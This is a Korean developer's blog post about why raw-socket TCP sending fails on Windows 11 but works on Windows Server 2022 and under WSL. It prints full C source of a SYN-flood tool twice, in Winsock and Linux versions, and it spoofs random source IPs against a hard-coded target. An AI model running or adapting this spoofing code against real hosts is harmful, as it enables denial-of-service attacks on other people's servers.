Microsoft MVP성태의 닷넷 이야기
C/C++: 161. Windows 11 환경에서 raw socket 테스트하는 방법 [링크 복사], [링크+제목 복사],
조회: 14512
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
(연관된 글이 1개 있습니다.)

Windows 11 환경에서 raw socket 테스트하는 방법

이상하군요, ^^; 간단하게 raw socket을 테스트하려고 다음의 코드를,

adamalston/SYN-Flood
; https://github.com/adamalston/SYN-Flood

Windows Socket으로 변형해,

// https://github.com/adamalston/SYN-Flood/blob/master/tcp_syn_flood.c
// 또는 파이썬 2.x가 친숙하다면,
// https://github.com/gabrielpereirapinheiro/syn_flood/blob/master/synflood.py

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <iostream>
#include <WinSock2.h>
#include <ws2tcpip.h>

#pragma comment(lib, "ws2_32.lib")

#define DEST_IP "192.168.100.50"
#define DEST_PORT 15501 // Attack the web server
#define PACKET_LEN 1500

// IP Header
struct ipheader
{
    unsigned char iph_ihl : 4,       // IP header length
        iph_ver : 4;                 // IP version
    unsigned char iph_tos;           // Type of service
    unsigned short int iph_len;      // IP Packet length (data + header)
    unsigned short int iph_ident;    // Identification
    unsigned short int iph_flag : 3, // Fragmentation flags
        iph_offset : 13;             // Flags offset
    unsigned char iph_ttl;           // Time to Live
    unsigned char iph_protocol;      // Protocol type
    unsigned short int iph_chksum;   // IP datagram checksum
    struct in_addr iph_sourceip;     // Source IP address
    struct in_addr iph_destip;       // Destination IP address
};

// TCP Header
struct tcpheader
{
    u_short tcp_sport; // source port
    u_short tcp_dport; // destination port
    u_int tcp_seq;     // sequence number
    u_int tcp_ack;     // acknowledgement number
    u_char tcp_offx2;  // data offset, rsvd
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
    u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN | TH_SYN | TH_RST | TH_ACK | TH_URG | TH_ECE | TH_CWR)
    u_short tcp_win; // window
    u_short tcp_sum; // checksum
    u_short tcp_urp; // urgent pointer
};

// Psuedo TCP header
struct pseudo_tcp
{
    unsigned saddr, daddr;
    unsigned char mbz;
    unsigned char ptcl;
    unsigned short tcpl;
    struct tcpheader tcp;
    char payload[1500];
};

/*****************************************************
   Given a buffer of data, calculate the checksum
*****************************************************/
unsigned short in_cksum(unsigned short* buf, int length)
{
    unsigned short* w = buf;
    int nleft = length;
    int sum = 0;
    unsigned short temp = 0;

    /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* treat the odd byte at the end, if any */
    if (nleft == 1) {
        *(u_char*)(&temp) = *(u_char*)w;
        sum += temp;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     // add hi 16 to low 16 
    sum += (sum >> 16);                     // add carry 
    return (unsigned short)(~sum);
}

/****************************************************************************
  TCP checksum is calculated on the pseudo header, which includes the
  the TCP header and data, plus some part of the IP header. Therefore,
  we need to construct the pseudo header first.
*****************************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader* ip)
{
    struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip +
        sizeof(struct ipheader));

    int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

    /* pseudo tcp header for the checksum computation */
    struct pseudo_tcp p_tcp;
    memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

    p_tcp.saddr = ip->iph_sourceip.s_addr;
    p_tcp.daddr = ip->iph_destip.s_addr;
    p_tcp.mbz = 0;
    p_tcp.ptcl = IPPROTO_TCP;
    p_tcp.tcpl = htons(tcp_len);
    memcpy(&p_tcp.tcp, tcp, tcp_len);

    return  (unsigned short)in_cksum((unsigned short*)&p_tcp, tcp_len + 12);
}

// unsigned short calculate_tcp_checksum(struct ipheader* ip);

// Given an IP packet, send it out using a raw socket.
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    // int sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sock < 0)
    {
        printf("socket failed: %d\n", WSAGetLastError());
        return;
    }

    printf("raw socket opened\n");

    // Step 2: Set socket option.
    int result = setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (const char*)&enable, sizeof(enable));
    if (sock < 0)
    {
        printf("setsockopt failed: %d\n", WSAGetLastError());
        return;
    }

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    result = sendto(sock, (const char *)ip, ntohs(ip->iph_len), 0, (struct sockaddr*)&dest_info, sizeof(dest_info));
    printf("sendto: %d\n", result);

    printf("Press any key to exit...");
    getchar();

    closesocket(sock);
}

int main()
{
    char buffer[PACKET_LEN];
    struct ipheader* ip = (struct ipheader*)buffer;
    struct tcpheader* tcp = (struct tcpheader*)(buffer + sizeof(struct ipheader));

    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    wVersionRequested = MAKEWORD(1, 1);

    WSAStartup(wVersionRequested, &wsaData);

    srand(time(0)); // Initialize the seed for random # generation.

    {
        memset(buffer, 0, PACKET_LEN);
        // Step 1: Fill in the TCP header.
        tcp->tcp_sport = rand();             // Use random source port
        tcp->tcp_dport = htons(DEST_PORT);
        tcp->tcp_seq = rand();               // Use random sequence #
        tcp->tcp_offx2 = 0x50;
        tcp->tcp_flags = TH_SYN;             // Enable the SYN bit
        tcp->tcp_win = htons(20000);
        tcp->tcp_sum = 0;

        // Step 2: Fill in the IP header.
        ip->iph_ver = 4;                 // Version (IPV4)
        ip->iph_ihl = 5;                 // Header length
        ip->iph_ttl = 50;                    // Time to live
        
        ip->iph_sourceip.s_addr = rand();    // Use a random IP address
        ip->iph_destip.s_addr = inet_addr(DEST_IP);
        ip->iph_protocol = IPPROTO_TCP;  // The value is 6.
        ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));

        // Calculate tcp checksum
        tcp->tcp_sum = calculate_tcp_checksum(ip);

        // Step 3: Finally, send the spoofed packet
        send_raw_ip_packet(ip);
    }

    WSACleanup();
}

관리자 권한으로 실행했더니,

// 관리자 권한으로 실행

c:\temp> ConsoleApplication1.exe
raw socket opened
sendto: 40
Press any key to exit...

딱히 sendto API 호출까지의 오류는 없지만 동작하지 않습니다. 재미있는 건, 동일한 exe 빌드를 Windows Server 2022에 복사해 실행하면 잘 됩니다. ^^;

이에 대해 검색해서 찾게 된 아래의 문서를 보면,

Limitations on Raw Sockets
; https://learn.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2#limitations-on-raw-sockets

Raw socket은 윈도우 관리자 권한으로 실행하는 경우 잘 동작하지만, Windows XP SP2 이상의 환경에서는,

Limitations on Raw Sockets

On Windows 7, Windows Vista, Windows XP with Service Pack 2 (SP2), and Windows XP with Service Pack 3 (SP3), the ability to send traffic over raw sockets has been restricted in several ways:

...


제약이 있다고 설명합니다. 하지만 그 제약이 딱히 위의 예제와는 별다른 관련이 없습니다.

  • TCP data cannot be sent over raw sockets.
  • UDP datagrams with an invalid source address cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. This change was made to limit the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets (TCP/IP packets with a forged source IP address).
  • A call to the bind function with a raw socket for the IPPROTO_TCP protocol is not allowed.

제가 사용한 코드는 TCP의 data가 비어 있는, 말 그대로 IP+TCP 헤더만 보내는 경우입니다. 또한, UDP 패킷도 아니고 bind 함수를 사용한 경우도 아닙니다.

아마도 "TCP data"라는 것이 "header"도 포함하는 의미가 아닐까 예상합니다. 즉, 순수하게 IP의 header와 TCP에 해당하지 않은 data만을 보내는 것을... 의미하는 것 같습니다. (혹시 이에 대해 자세히 알고 계신 분은 덧글 부탁드립니다.)




결국 Windows 11에서는 raw socket을 사용해 TCP 테스트를 할 수 없습니다. 단지, 굳이 해야 한다면 WSL을 이용해 우회하는 것은 가능합니다. 재미있게도, Windows 11 환경이지만 WSL로 위의 소스 코드를 테스트하면 잘 동작합니다.

$ git clone https://github.com/adamalston/SYN-Flood.git
$ cd SYN-Flood/
$ gedit tcp_syn_flood.c
..[대충 자신의 네트워크 상황에 맞게 편집해 주고]...

$ gcc tcp_syn_flood.c
$ sudo ./a.out

$ cat tcp_syn_flood.c

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include "header.h"

#define DEST_IP "192.168.100.50"
#define DEST_PORT 15501 // Attack the web server
#define PACKET_LEN 1500

/*****************************************************
   Given a buffer of data, calculate the checksum
*****************************************************/
unsigned short in_cksum(unsigned short* buf, int length)
{
    unsigned short* w = buf;
    int nleft = length;
    int sum = 0;
    unsigned short temp = 0;

    /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* treat the odd byte at the end, if any */
    if (nleft == 1) {
        *(u_char*)(&temp) = *(u_char*)w;
        sum += temp;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     // add hi 16 to low 16 
    sum += (sum >> 16);                     // add carry 
    return (unsigned short)(~sum);
}

/****************************************************************************
  TCP checksum is calculated on the pseudo header, which includes the
  the TCP header and data, plus some part of the IP header. Therefore,
  we need to construct the pseudo header first.
*****************************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader* ip)
{
    struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip +
        sizeof(struct ipheader));

    int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

    /* pseudo tcp header for the checksum computation */
    struct pseudo_tcp p_tcp;
    memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

    p_tcp.saddr = ip->iph_sourceip.s_addr;
    p_tcp.daddr = ip->iph_destip.s_addr;
    p_tcp.mbz = 0;
    p_tcp.ptcl = IPPROTO_TCP;
    p_tcp.tcpl = htons(tcp_len);
    memcpy(&p_tcp.tcp, tcp, tcp_len);

    return  (unsigned short)in_cksum((unsigned short*)&p_tcp, tcp_len + 12);
}

// Given an IP packet, send it out using a raw socket.
void send_raw_ip_packet(struct ipheader *ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
    
    getchar();
    close(sock);
}

// Spoof a TCP SYN packet.
int main()
{
    char buffer[PACKET_LEN];
    struct ipheader *ip = (struct ipheader *)buffer;
    struct tcpheader *tcp = (struct tcpheader *)(buffer + sizeof(struct ipheader));

    srand(time(0)); // Initialize the seed for random # generation.

    // while (1)
    {
        memset(buffer, 0, PACKET_LEN);
        // Step 1: Fill in the TCP header.
        tcp->tcp_sport = rand();             // Use random source port
        tcp->tcp_dport = htons(DEST_PORT);
        tcp->tcp_seq = rand();               // Use random sequence #
        tcp->tcp_offx2 = 0x50;
        tcp->tcp_flags = TH_SYN;             // Enable the SYN bit
        tcp->tcp_win = htons(20000);
        tcp->tcp_sum = 0;

        // Step 2: Fill in the IP header.
        ip->iph_ver = 4;                 // Version (IPV4)
        ip->iph_ihl = 5;                 // Header length
        ip->iph_ttl = 50;                    // Time to live
        ip->iph_sourceip.s_addr = rand();    // Use a random IP address

        ip->iph_destip.s_addr = inet_addr(DEST_IP);
        ip->iph_protocol = IPPROTO_TCP;  // The value is 6.
        ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));

        // Calculate tcp checksum
        tcp->tcp_sum = calculate_tcp_checksum(ip);

        // Step 3: Finally, send the spoofed packet
        send_raw_ip_packet(ip);
    }

    return 0;
}

아니면, Windows Server 버전에서 테스트하거나!

(첨부 파일은 이 글의 예제 코드를 포함합니다.)




[이 글에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]

[연관 글]






[최초 등록일: ]
[최종 수정일: 10/31/2022]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 




... 151  152  153  154  155  156  157  158  [159]  160  161  162  163  164  165  ...
NoWriterDateCnt.TitleFile(s)
1073정성태6/20/201127200오류 유형: 127. Visual Studio에서 WCF 서비스의 이름 변경 시 발생할 수 있는 오류
1072정성태6/19/201126705.NET Framework: 224. EF 4.1 Code First에서 Identity 칼럼 생성하는 방법파일 다운로드1
1071정성태6/19/201130231.NET Framework: 223. Entity Framework 4.1의 Code First를 이용한 SQL Azure 데이터베이스 생성 [3]파일 다운로드1
1070정성태6/19/201127759.NET Framework: 222. Windows Azure - VM Role 베타 프로그램 참여 [2]
1069정성태6/18/201127844.NET Framework: 221. Cache 영향을 받지 않는 DNS 이름 풀이 [2]파일 다운로드1
1068정성태6/16/201125467개발 환경 구성: 127. Portable Library - 닷넷 N-Screen용 공통 라이브러리 제작 [1]
1067정성태6/15/201124978오류 유형: 126. Windows failed to apply the Group Policy Folder Options settings. [1]
1066정성태6/14/201128019개발 환경 구성: 126. MSDN 구독자 - Windows Azure 무료 서비스 신청하는 방법 [4]
1065정성태6/13/201132839개발 환경 구성: 125. Firebird - 유니코드 기본 문자셋 지정
1064정성태6/11/201127508웹: 22. Visual Studio 2010에서 CSS 3 인텔리센스(intellisense) 지원하는 방법 [1]
1063정성태6/10/201129101웹: 21. Sysnet 웹 사이트의 CSS 2.1 변환 기록 [1]
1062정성태6/9/201129240웹: 20. Sysnet 웹 사이트의 HTML5 변환 기록 [1]
1061정성태6/8/201127513오류 유형: 125. 인터넷 익스플로러 - 개발자 도구에서 정지점(BP: Breakpoint) 설정이 안 되는 경우 [1]
1060정성태6/8/201124054VC++: 51. PHP 모듈의 F5 디버깅
1059정성태6/6/201129157VC++: 50. PHP 모듈 - php_mysql 빌드하는 방법파일 다운로드1
1058정성태6/5/201132809개발 환경 구성: 124. .NET 개발자가 처음 해보는 PHP + MySQL 연동 [2]
1057정성태6/4/201130187VC++: 49. 소스 코드로부터 php5apache2_2.dll 생성하는 방법파일 다운로드1
1056정성태6/2/201128383VC++: 48. 윈도우에서 Apache Module - Content Handler 컴파일파일 다운로드1
1055정성태6/1/201125617오류 유형: 124. MVC 프로젝트의 Site.Master 관련 오류 정리
1054정성태5/31/201129839.NET Framework: 220. ASP.NET MVC Web Site 프로젝트 - 단위 테스트 작성파일 다운로드1
1053정성태5/31/201132356VC++: 47. Apache Module에 대한 'F5 디버그 (Start with debugging)' [2]
1052정성태5/30/201130004.NET Framework: 219. ASP.NET MVC Web Site 프로젝트 구성하기파일 다운로드1
1051정성태5/28/201138464VC++: 46. 윈도우에서 Apache Module 컴파일 (VC++)파일 다운로드1
1050정성태5/28/201124643오류 유형: 123. Firebird - Exception of type 'FirebirdSql.Data.Common.IscException' was thrown.
1049정성태5/28/201130358.NET Framework: 218. WCF REST 서비스 - 웹 브라우저 측 Ajax 호출 캐시 [1]
1048정성태5/27/201132259개발 환경 구성: 123. Apache 소스를 윈도우 환경에서 빌드하기
... 151  152  153  154  155  156  157  158  [159]  160  161  162  163  164  165  ...